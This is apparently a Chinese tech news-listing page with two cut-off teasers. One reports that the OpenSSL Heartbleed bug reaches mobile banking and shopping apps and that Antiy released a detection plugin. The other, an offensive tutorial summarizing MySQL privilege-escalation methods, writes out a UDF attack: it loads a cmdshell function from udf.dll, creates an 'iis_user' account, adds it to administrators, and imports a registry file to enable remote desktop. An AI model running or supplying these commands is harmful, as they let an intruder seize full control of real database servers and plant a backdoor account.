-
“心脏出血”证实波及手机 安天推出检测插件
OpenSSL“心脏出血”漏洞的严重性远比想象的严重。一些用户没有考虑到，手机上大量应用也需要账号登录，其登录服务也有很多是OpenSSL搭建的，因此在漏洞没有修补好之前，用手机登录过网银、网购等重要账号极容易导致用户账户信息丢失。需要在漏洞修补后及时更改密码。 安天旗下AVL移动安全团队在“漏洞”消息爆出后，迅速对主流的网银、网购、证券、航旅软件的登录入口...阅读全文阅读全文
-
mysql提权方法总结四则
一 UDF提权 这类提权方法我想大家已经知道了，我大致写一下，具体语句如下： create function cmdshell returns string soname ’udf.dll’ select cmdshell(’net user iis_user /add’); select cmdshell(’net localgroup administrators iis_user /add’); select cmdshell(’regedit /s d:\web\3389.reg’); drop function cmdshell; select cmdshell(’netstat -an’); 二 ...阅读全文
